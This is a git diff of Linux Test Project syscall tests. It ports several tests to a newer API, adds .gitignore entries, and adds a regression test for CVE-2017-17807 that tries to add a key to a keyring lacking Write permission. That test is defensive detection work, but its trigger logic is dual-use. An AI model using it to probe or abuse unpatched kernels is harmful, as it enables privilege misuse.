diff --git a/testcases/kernel/syscalls/recv/.gitignore b/testcases/kernel/syscalls/recv/.gitignore
new file mode 100644
index 0000000..a578cb1
--- /dev/null
+++ b/testcases/kernel/syscalls/recv/.gitignore
@@ -0,0 +1 @@
+/recv01
diff --git a/testcases/kernel/syscalls/recvfrom/.gitignore b/testcases/kernel/syscalls/recvfrom/.gitignore
new file mode 100644
index 0000000..2b58693
--- /dev/null
+++ b/testcases/kernel/syscalls/recvfrom/.gitignore
@@ -0,0 +1 @@
+/recvfrom01
diff --git a/testcases/kernel/syscalls/recvmsg/.gitignore b/testcases/kernel/syscalls/recvmsg/.gitignore
new file mode 100644
index 0000000..9b87898
--- /dev/null
+++ b/testcases/kernel/syscalls/recvmsg/.gitignore
@@ -0,0 +1,3 @@
+/recvmsg01
+/recvmsg02
+/recvmsg03
diff --git a/testcases/kernel/syscalls/recvmsg/recvmsg03.c b/testcases/kernel/syscalls/recvmsg/recvmsg03.c
index 8bbdace..d85be87 100644
--- a/testcases/kernel/syscalls/recvmsg/recvmsg03.c
+++ b/testcases/kernel/syscalls/recvmsg/recvmsg03.c
@@ -30,6 +30,7 @@
 #include <string.h>
 #include <sys/types.h>
 #include <sys/socket.h>
+#include "tst_safe_net.h"
 
 #include "tst_test.h"
 
@@ -125,12 +126,7 @@
 
 	TST_CHECKPOINT_WAKE(0);
 
-	TEST(recvmsg(sock_fd2, &msg, 0));
-	if (TEST_RETURN == -1) {
-		tst_brk(TBROK | TTERRNO,
-		"recvmsg() failed to recvice data from client");
-	}
-
+	SAFE_RECVMSG(0, sock_fd2, &msg, 0);
 	if (msg.msg_namelen != sizeof(from_addr)) {
 		tst_res(TFAIL, "msg_namelen was set to %u incorrectly, "
 			"expected %lu", msg.msg_namelen, sizeof(from_addr));
diff --git a/testcases/kernel/syscalls/remap_file_pages/.gitignore b/testcases/kernel/syscalls/remap_file_pages/.gitignore
new file mode 100644
index 0000000..29fe2eb
--- /dev/null
+++ b/testcases/kernel/syscalls/remap_file_pages/.gitignore
@@ -0,0 +1,2 @@
+/remap_file_pages01
+/remap_file_pages02
diff --git a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c
index 62b0966..1d8f620 100644
--- a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c
+++ b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c
@@ -1,29 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
- * Copyright (C) Ricardo Salveti de Araujo, 2007
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- */
-
-/*
- * NAME
- *     remap_file_pages02
+ * Copyright (C) Ricardo Salveti de Araujo <rsalvetidev@gmail.com>, 2007
  *
  * DESCRIPTION
  *     The remap_file_pages() system call is used to create a non-linear
@@ -45,25 +22,11 @@
  *       3. Test with a invalid size argument
  *       4. Test with a invalid prot argument
  *
- *     Cleanup:
- *       Remove the file and erase the tmp directory
- *
- * Usage:  <for command-line>
- *  remap_file_pages02 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
  * HISTORY
  *
  *     02/11/2008 - Removed the pgoff test case, as the latest kernels doesn't
  *     verify the page offset (http://lkml.org/lkml/2007/11/29/325) - Ricardo
  *     Salveti de Araujo, <rsalvetidev@gmail.com>
- *
- *     19/10/2007 - Created by Ricardo Salveti de Araujo, <rsalvetidev@gmail.com>
  */
 
 #define _GNU_SOURCE
@@ -77,258 +40,125 @@
 #include <sys/syscall.h>
 #include <linux/unistd.h>
 
-#include "test.h"		/*LTP Specific Include File */
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-/* Test case defines */
 #define WINDOW_START 0x48000000
 
-static int page_sz;
-size_t page_words;
-size_t cache_pages;
-size_t cache_sz;
-size_t window_pages;
-size_t window_sz;
+static unsigned int page_sz;
 
-static void setup();
-static int setup01(int test);
-static int setup02(int test);
-static int setup03(int test);
-static int setup04(int test);
-static void cleanup();
+static int fd;
+static char *data = NULL;
+static char *data01 = NULL;
 
-char *TCID = "remap_file_pages02";
-int TST_TOTAL = 4;
+static void setup01(int test);
+static void setup02(int test);
+static void setup03(int test);
+static void setup04(int test);
 
-static char *cache_contents;
-int fd;				/* File descriptor used at the test */
-char *data = NULL;
-char *data01 = NULL;
+static struct tcase {
+	char *err_desc;
+	int exp_errno;
+	void (*setup)(int);
 
-static struct test_case_t {
-	char *err_desc;		/* Error description */
-	int exp_errno;		/* Expected error number */
-	char *exp_errval;	/* Expected error value string */
-	int (*setupfunc) (int);	/* Test setup function */
-	int (*cleanfunc) (int);	/* Test clean function */
-	void *start;		/* Start argument */
-	size_t size;		/* Size argument */
-	int prot;		/* Prot argument */
-	ssize_t pgoff;		/* Pgoff argument */
-	int flags;		/* Flags argument */
-} testcase[] = {
-	{
-	"start does not refer to a valid mapping created with the "
-		    "MAP_SHARED flag", EINVAL, "EINVAL", setup01, NULL,
-		    NULL, 0, 0, 2, 0}, {
-	"start is invalid", EINVAL, "EINVAL", setup02, NULL, NULL, 0, 0, 2, 0},
-	{
-	"size is invalid", EINVAL, "EINVAL", setup03, NULL, NULL, 0, 0, 0, 0},
-	{
-	"prot is invalid", EINVAL, "EINVAL", setup04, NULL, NULL, 0, 0,
-		    2, 0}
+	void *start;
+	size_t size;
+	int prot;
+	ssize_t pgoff;
+	int flags;
+} tcases[] = {
+	{"start is not valid MAP_SHARED mapping",
+	 EINVAL, setup01, NULL, 0, 0, 2, 0},
+	{"start is invalid", EINVAL, setup02, NULL, 0, 0, 2, 0},
+	{"size is invalid", EINVAL, setup03,  NULL, 0, 0, 0, 0},
+	{"prot is invalid", EINVAL, setup04, NULL, 0, 0, 2, 0}
 };
 
-int main(int ac, char **av)
+static void run(unsigned i)
 {
-	int lc, i;
+	TEST(tst_syscall(__NR_remap_file_pages,
+			 tcases[i].start, tcases[i].size,
+			 tcases[i].prot, tcases[i].pgoff,
+			 tcases[i].flags));
+
+	if ((TST_RET == -1) && (TST_ERR == tcases[i].exp_errno)) {
+		tst_res(TPASS | TTERRNO, "remap_file_pages(2) %s",
+			tcases[i].err_desc);
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO,
+		"remap_file_pages(2) %s expected %s got",
+		tcases[i].err_desc, tst_strerrno(tcases[i].exp_errno));
+}
+
+static void setup01(int test)
+{
+	tcases[test].start = data01;
+	tcases[test].size = page_sz;
+}
+
+static void setup02(int test)
+{
+	tcases[test].start = data + page_sz;
+	tcases[test].size = page_sz;
+}
+
+static void setup03(int test)
+{
+	tcases[test].start = data;
+	tcases[test].size = 2 * page_sz;
+}
+
+static void setup04(int test)
+{
+	tcases[test].start = data;
+	tcases[test].size = page_sz;
+	tcases[test].prot = -1;
+}
+
+static void setup(void)
+{
+	unsigned int i;
 
 #if defined (__s390__) || (__s390x__) || (__ia64__)
-	/* Disables the test in case the kernel version is lower than 2.6.12 and arch is s390 */
-	if ((tst_kvercmp(2, 6, 12)) < 0) {
-		tst_resm(TWARN,
+	if ((tst_kvercmp(2, 6, 12)) < 0)
+		tst_brk(TCONF,
 			 "This test can only run on kernels that are 2.6.12 and higher");
-		exit(0);
-	}
 #endif
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	page_sz = getpagesize();
 
-	setup();
+	fd = SAFE_OPEN("cache", O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);
+	SAFE_FTRUNCATE(fd, page_sz);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	data = SAFE_MMAP((void *)WINDOW_START, page_sz, PROT_READ | PROT_WRITE,
+			 MAP_SHARED, fd, 0);
 
-		tst_count = 0;
+	data01 = SAFE_MMAP(NULL, page_sz, PROT_READ | PROT_WRITE, MAP_PRIVATE,
+			   fd, 0);
 
-		for (i = 0; i < TST_TOTAL; i++) {
-			/* do the setup if the test have one */
-			if (testcase[i].setupfunc
-			    && testcase[i].setupfunc(i) == -1) {
-				tst_resm(TWARN,
-					 "Failed to setup test %d"
-					 " Skipping test", i);
-				continue;
-			}
-
-			/* run the test */
-			TEST(remap_file_pages
-			     (testcase[i].start, testcase[i].size,
-			      testcase[i].prot, testcase[i].pgoff,
-			      testcase[i].flags));
-
-			/* do the cleanup if the test have one */
-			if (testcase[i].cleanfunc
-			    && testcase[i].cleanfunc(i) == -1) {
-				tst_brkm(TBROK, cleanup,
-					 "Failed to cleanup test %d,"
-					 " quitting the test", i);
-			}
-
-			/* verify the return code */
-			if ((TEST_RETURN == -1)
-			    && (TEST_ERRNO == testcase[i].exp_errno)) {
-				tst_resm(TPASS,
-					 "remap_file_pages(2) expected failure;"
-					 " Got errno - %s : %s",
-					 testcase[i].exp_errval,
-					 testcase[i].err_desc);
-			} else {
-				tst_resm(TFAIL,
-					 "remap_file_pages(2) failed to produce"
-					 " expected error: %d, errno: %s."
-					 " because got error %d",
-					 testcase[i].exp_errno,
-					 testcase[i].exp_errval, TEST_ERRNO);
-			}
-		}		/* end of test loops */
-	}			/* end of  test looping */
-
-	/* clean up and exit */
-	cleanup();
-
-	tst_exit();
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (tcases[i].setup)
+			tcases[i].setup(i);
+	}
 }
 
-/*
- * setup01() - create a mmap area without MAP_SHARED flag
- * - it uses the fd created at the main setup function
- */
-int setup01(int test)
+static void cleanup(void)
 {
-	data01 = mmap(NULL, cache_sz, PROT_READ | PROT_WRITE,
-		      MAP_PRIVATE, fd, 0);
-
-	if (data01 == MAP_FAILED) {
-		tst_resm(TWARN, "mmap Error, errno=%d : %s", errno,
-			 strerror(errno));
-		return -1;
-	}
-
-	/* set up the test case struct for this test */
-	testcase[test].start = data01;
-	testcase[test].size = page_sz;
-
-	return 0;
-}
-
-/*
- * setup02() - start is invalid
- */
-int setup02(int test)
-{
-	/* set up the test case struct for this test */
-	testcase[test].start = data + cache_sz;
-	testcase[test].size = page_sz;
-
-	return 0;
-}
-
-/*
- * setup03() - size is invalid
- */
-int setup03(int test)
-{
-	/* set up the test case struct for this test */
-	testcase[test].start = data;
-	testcase[test].size = cache_sz + page_sz;
-
-	return 0;
-}
-
-/*
- * setup04() - prot is invalid
- */
-int setup04(int test)
-{
-	/* set up the test case struct for this test */
-	testcase[test].start = data;
-	testcase[test].size = page_sz;
-	testcase[test].prot = -1;
-
-	return 0;
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test
- * - creates a defaul mmaped area to be able to run remap_file_pages
- */
-void setup(void)
-{
-	int i, j;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Get page size */
-	if ((page_sz = getpagesize()) < 0) {
-		tst_brkm(TFAIL, cleanup,
-			 "getpagesize() fails to get system page size");
-	}
-
-	page_words = (page_sz / sizeof(char));
-
-	/* Set the cache size */
-	cache_pages = 32;
-	cache_sz = cache_pages * page_sz;
-	cache_contents = malloc(cache_sz * sizeof(char));
-
-	for (i = 0; i < cache_pages; i++) {
-		char *page = cache_contents + i * page_sz;
-
-		for (j = 0; j < page_words; j++)
-			page[j] = i;
-	}
-
-	if ((fd = open("cache", O_RDWR | O_CREAT | O_TRUNC, S_IRWXU)) < 0) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDWR|O_CREAT|O_TRUNC,S_IRWXU) Failed, errno=%d : %s",
-			 "cache", errno, strerror(errno));
-	}
-
-	if (write(fd, cache_contents, cache_sz) != cache_sz) {
-		tst_resm(TFAIL,
-			 "Write Error for \"cache_contents\" to \"cache_sz\" of %zu (errno=%d : %s)",
-			 cache_sz, errno, strerror(errno));
-		cleanup();
-	}
-
-	data = mmap((void *)WINDOW_START,
-		    cache_sz, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
-
-	if (data == MAP_FAILED) {
-		tst_resm(TFAIL, "mmap Error, errno=%d : %s", errno,
-			 strerror(errno));
-		cleanup();
-	}
-
-}
-
-/*
-* cleanup() - Performs one time cleanup for this test at
-* completion or premature exit
-*/
-void cleanup(void)
-{
-	/* Close the file descriptor */
-	close(fd);
+	SAFE_CLOSE(fd);
 
 	if (data)
-		munmap(data, cache_sz);
+		SAFE_MUNMAP(data, page_sz);
+
 	if (data01)
-		munmap(data01, cache_sz);
-
-	tst_rmdir();
-
+		SAFE_MUNMAP(data01, page_sz);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.cleanup = cleanup,
+	.setup = setup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/removexattr/.gitignore b/testcases/kernel/syscalls/removexattr/.gitignore
new file mode 100644
index 0000000..373c409
--- /dev/null
+++ b/testcases/kernel/syscalls/removexattr/.gitignore
@@ -0,0 +1,2 @@
+/removexattr01
+/removexattr02
diff --git a/testcases/kernel/syscalls/rename/.gitignore b/testcases/kernel/syscalls/rename/.gitignore
new file mode 100644
index 0000000..6c10aea
--- /dev/null
+++ b/testcases/kernel/syscalls/rename/.gitignore
@@ -0,0 +1,14 @@
+/rename01
+/rename02
+/rename03
+/rename04
+/rename05
+/rename06
+/rename07
+/rename08
+/rename09
+/rename10
+/rename11
+/rename12
+/rename13
+/rename14
diff --git a/testcases/kernel/syscalls/renameat/.gitignore b/testcases/kernel/syscalls/renameat/.gitignore
new file mode 100644
index 0000000..e502082
--- /dev/null
+++ b/testcases/kernel/syscalls/renameat/.gitignore
@@ -0,0 +1 @@
+/renameat01
diff --git a/testcases/kernel/syscalls/renameat2/.gitignore b/testcases/kernel/syscalls/renameat2/.gitignore
new file mode 100644
index 0000000..b350098
--- /dev/null
+++ b/testcases/kernel/syscalls/renameat2/.gitignore
@@ -0,0 +1,2 @@
+/renameat201
+/renameat202
diff --git a/testcases/kernel/syscalls/request_key/.gitignore b/testcases/kernel/syscalls/request_key/.gitignore
new file mode 100644
index 0000000..e8dc1c5
--- /dev/null
+++ b/testcases/kernel/syscalls/request_key/.gitignore
@@ -0,0 +1,5 @@
+/request_key01
+/request_key02
+/request_key03
+/request_key04
+/request_key05
diff --git a/testcases/kernel/syscalls/request_key/request_key01.c b/testcases/kernel/syscalls/request_key/request_key01.c
index d290a0d..db7ff15 100644
--- a/testcases/kernel/syscalls/request_key/request_key01.c
+++ b/testcases/kernel/syscalls/request_key/request_key01.c
@@ -38,12 +38,12 @@
 {
 
 	TEST(request_key("keyring", "ltp", NULL, KEY_REQKEY_DEFL_DEFAULT));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "request_key() failed");
 		return;
 	}
 
-	if (TEST_RETURN != key)
+	if (TST_RET != key)
 		tst_res(TFAIL, "serial number mismatched");
 	else
 		tst_res(TPASS, "request_key() succeed");
diff --git a/testcases/kernel/syscalls/request_key/request_key02.c b/testcases/kernel/syscalls/request_key/request_key02.c
index bde74c4..e612301 100644
--- a/testcases/kernel/syscalls/request_key/request_key02.c
+++ b/testcases/kernel/syscalls/request_key/request_key02.c
@@ -54,12 +54,12 @@
 	struct test_case *tc = tcases + n;
 
 	TEST(request_key("keyring", tc->des, NULL, *tc->id));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "request_key() succeed unexpectly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_err) {
+	if (TST_ERR == tc->exp_err) {
 		tst_res(TPASS | TTERRNO, "request_key() failed expectly");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/request_key/request_key03.c b/testcases/kernel/syscalls/request_key/request_key03.c
index 8711b12..9996a6f 100644
--- a/testcases/kernel/syscalls/request_key/request_key03.c
+++ b/testcases/kernel/syscalls/request_key/request_key03.c
@@ -66,13 +66,13 @@
 	bool info_only;
 
 	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
-	if (TEST_RETURN < 0)
+	if (TST_RET < 0)
 		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
 
 	TEST(add_key(type, "desc", payload, strlen(payload),
 		     KEY_SPEC_SESSION_KEYRING));
-	if (TEST_RETURN < 0 && TEST_ERRNO != EINVAL) {
-		if (TEST_ERRNO == ENODEV) {
+	if (TST_RET < 0 && TST_ERR != EINVAL) {
+		if (TST_ERR == ENODEV) {
 			tst_res(TCONF, "kernel doesn't support key type '%s'",
 				type);
 			return;
@@ -108,14 +108,14 @@
 			usleep(rand() % 1024);
 			TEST(add_key(type, "desc", payload, strlen(payload),
 				     KEY_SPEC_SESSION_KEYRING));
-			if (TEST_RETURN < 0 && TEST_ERRNO != EINVAL &&
-			    TEST_ERRNO != ENOKEY && TEST_ERRNO != EDQUOT) {
+			if (TST_RET < 0 && TST_ERR != EINVAL &&
+			    TST_ERR != ENOKEY && TST_ERR != EDQUOT) {
 				tst_brk(TBROK | TTERRNO,
 					"unexpected error adding key of type '%s'",
 					type);
 			}
 			TEST(keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING));
-			if (TEST_RETURN < 0) {
+			if (TST_RET < 0) {
 				tst_brk(TBROK | TTERRNO,
 					"unable to clear keyring");
 			}
@@ -128,8 +128,8 @@
 		for (i = 0; i < 5000 * effort; i++) {
 			TEST(request_key(type, "desc", "callout_info",
 					 KEY_SPEC_SESSION_KEYRING));
-			if (TEST_RETURN < 0 && TEST_ERRNO != ENOKEY &&
-			    TEST_ERRNO != ENOENT && TEST_ERRNO != EDQUOT) {
+			if (TST_RET < 0 && TST_ERR != ENOKEY &&
+			    TST_ERR != ENOENT && TST_ERR != EDQUOT) {
 				tst_brk(TBROK | TTERRNO,
 					"unexpected error requesting key of type '%s'",
 					type);
diff --git a/testcases/kernel/syscalls/request_key/request_key04.c b/testcases/kernel/syscalls/request_key/request_key04.c
new file mode 100644
index 0000000..9e4c0bf
--- /dev/null
+++ b/testcases/kernel/syscalls/request_key/request_key04.c
@@ -0,0 +1,87 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for commit 4dca6ea1d943 ("KEYS: add missing permission check
+ * for request_key() destination"), or CVE-2017-17807.  This bug allowed adding
+ * a key to a keyring given only Search permission to that keyring, rather than
+ * the expected Write permission.
+ *
+ * We test for the bug by trying to add a negatively instantiated key, since
+ * adding a negatively instantiated key using the bug was easy whereas adding a
+ * positively instantiated key required exploiting a race condition.
+ */
+
+#include <errno.h>
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+static void do_test(void)
+{
+	key_serial_t keyid;
+	int saved_errno;
+
+	TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "failed to join new session keyring");
+
+	TEST(keyctl(KEYCTL_SETPERM, KEY_SPEC_SESSION_KEYRING,
+		    KEY_POS_SEARCH|KEY_POS_READ|KEY_POS_VIEW));
+	if (TST_RET < 0) {
+		tst_brk(TBROK | TTERRNO,
+			"failed to set permissions on session keyring");
+	}
+
+	TEST(keyctl(KEYCTL_SET_REQKEY_KEYRING,
+		    KEY_REQKEY_DEFL_SESSION_KEYRING));
+	if (TST_RET < 0) {
+		tst_brk(TBROK | TTERRNO,
+			"failed to set request-key default keyring");
+	}
+
+	TEST(keyctl(KEYCTL_READ, KEY_SPEC_SESSION_KEYRING,
+		    &keyid, sizeof(keyid)));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "failed to read from session keyring");
+	if (TST_RET != 0)
+		tst_brk(TBROK, "session keyring is not empty");
+
+	TEST(request_key("user", "desc", "callout_info", 0));
+	if (TST_RET != -1)
+		tst_brk(TBROK, "request_key() unexpectedly succeeded");
+	saved_errno = TST_ERR;
+
+	TEST(keyctl(KEYCTL_READ, KEY_SPEC_SESSION_KEYRING,
+		    &keyid, sizeof(keyid)));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "failed to read from session keyring");
+	if (TST_RET != 0)
+		tst_brk(TFAIL, "added key to keyring without permission");
+
+	TST_ERR = saved_errno;
+	if (TST_ERR == EACCES) {
+		tst_res(TPASS, "request_key() failed with EACCES as expected");
+	} else {
+		tst_res(TBROK | TTERRNO,
+			"request_key() failed with unexpected error code");
+	}
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/testcases/cve/cve-2017-6951.c b/testcases/kernel/syscalls/request_key/request_key05.c
similarity index 100%
rename from testcases/cve/cve-2017-6951.c
rename to testcases/kernel/syscalls/request_key/request_key05.c
diff --git a/testcases/kernel/syscalls/rmdir/.gitignore b/testcases/kernel/syscalls/rmdir/.gitignore
new file mode 100644
index 0000000..1a1e180
--- /dev/null
+++ b/testcases/kernel/syscalls/rmdir/.gitignore
@@ -0,0 +1,3 @@
+/rmdir01
+/rmdir02
+/rmdir03
diff --git a/testcases/kernel/syscalls/rmdir/rmdir01.c b/testcases/kernel/syscalls/rmdir/rmdir01.c
index 370e607..c8544b7 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir01.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir01.c
@@ -1,162 +1,52 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-/*
- * NAME
- *	rmdir01
- *
- * DESCRIPTION
- *	This test will verify that rmdir(2) syscall basic functionality.
- *	verify rmdir(2) returns a value of 0 and the directory being
- *	removed
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *		Loop if the proper options are given.
- *                 make a directory tstdir
- *                 call rmdir(tstdir), check the return value
- *                 verify the directory tstdir does not exists.
- *
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.*
- * USAGE
- *	rmdir01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+/* DESCRIPTION
+ *   This test will verify that rmdir(2) syscall basic functionality.
+ *   verify rmdir(2) returns a value of 0 and the directory being removed.
  */
 #include <errno.h>
-#include <string.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <fcntl.h>
 #include <unistd.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define TESTDIR "testdir"
 
-#define PERMS		0777
-
-char *TCID = "rmdir01";
-int TST_TOTAL = 1;
-
-char tstdir[100];
-
-int main(int ac, char **av)
+static void verify_rmdir(void)
 {
-	int lc;
 	struct stat buf;
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
+	SAFE_MKDIR(TESTDIR, 0777);
 
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * TEST rmdir() base functionality
-		 */
-
-		/* Initialize the test directory name */
-
-		/* create a directory */
-		SAFE_MKDIR(cleanup, tstdir, PERMS);
-		/* call rmdir using TEST macro */
-
-		TEST(rmdir(tstdir));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "rmdir(%s) Failed", tstdir);
-			continue;
-		}
-
-		if (stat(tstdir, &buf) != -1) {
-			tst_resm(TFAIL, "directory %s still exists",
-				 tstdir);
-			continue;
-		} else {
-			tst_resm(TPASS, "directory has been removed");
-		}
+	TEST(rmdir(TESTDIR));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "rmdir(%s) failed", TESTDIR);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (!stat(TESTDIR, &buf))
+		tst_res(TFAIL, "rmdir(%s) failed", TESTDIR);
+	else
+		tst_res(TPASS, "rmdir(%s) success", TESTDIR);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
+static struct tst_test test = {
+	.test_all = verify_rmdir,
+	.needs_tmpdir = 1,
+};
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(tstdir, "./tstdir_%d", getpid());
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *              completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-	/*
-	 * Exit with return code appropriate for results.
-	 */
-
-}
diff --git a/testcases/kernel/syscalls/rmdir/rmdir02.c b/testcases/kernel/syscalls/rmdir/rmdir02.c
index 9f6954a..3f36692 100644
--- a/testcases/kernel/syscalls/rmdir/rmdir02.c
+++ b/testcases/kernel/syscalls/rmdir/rmdir02.c
@@ -1,5 +1,4 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2001
+/* Copyright (c) International Business Machines  Corp., 2001
  * 07/2001 Ported by Wayne Boyer
  *
  * This program is free software;  you can redistribute it and/or modify
@@ -13,49 +12,24 @@
  * the GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 /*
  * Description:
- *   1) create a directory tstdir1, create a file under it.
- *      call rmdir(tstdir1), verify the return value is -1
- *      and the errno is ENOTEMPTY.
- *   2) create a directory with long path, call rmdir(tstdir1),
- *      verify the return value is -1 and the errno is ENAMETOOLONG.
- *   3) pass a pathname containing non-exist directory component
- *      to rmdir(), verify the return value is -1 and the errno
- *      is ENOENT.
- *   4) pass a pathname containing a file component to rmdir(),
- *      verify the return value is -1 and the errno is ENOTDIR.
- *   5) attempt to pass an invalid pathname with an address
- *      pointing outside the address space of the process, as the
- *      argument to rmdir(), verify the return value is -1 and
- *      the errno is EFAULT.
- *   6) attempt to pass an invalid pathname with NULL, as the
- *      argument to rmdir(), verify the return value is -1 and
- *      the errno is EFAULT.
- *   7) pass a pathname with too many symbolic links to rmdir(),
- *      verify the return value is -1 and the errno is ELOOP.
- *   8) pass a pathname which refers to a directory on a read-only
- *      file system to rmdir(), verify the return value is -1 and
- *      the errno is EROFS.
- *   9) pass a pathname which is currently used as a mount point
- *      to rmdir(), verify the return value is -1 and the errno is
- *      EBUSY.
+ *   1) attempt to rmdir() non-empty directory -> ENOTEMPTY
+ *   2) attempt to rmdir() directory with long path name -> ENAMETOOLONG
+ *   3) attempt to rmdir() non-existing directory -> ENOENT
+ *   4) attempt to rmdir() a file -> ENOTDIR
+ *   5) attempt to rmdir() invalid pointer -> EFAULT
+ *   6) attempt to rmdir() symlink loop -> ELOOP
+ *   7) attempt to rmdir() dir on RO mounted FS -> EROFS
+ *   8) attempt to rmdir() mount point -> EBUSY
+ *   9) attempt to rmdir() current directory "." -> EINVAL
  */
 
 #include <errno.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <pwd.h>
-#include <sys/mount.h>
 
-#include "test.h"
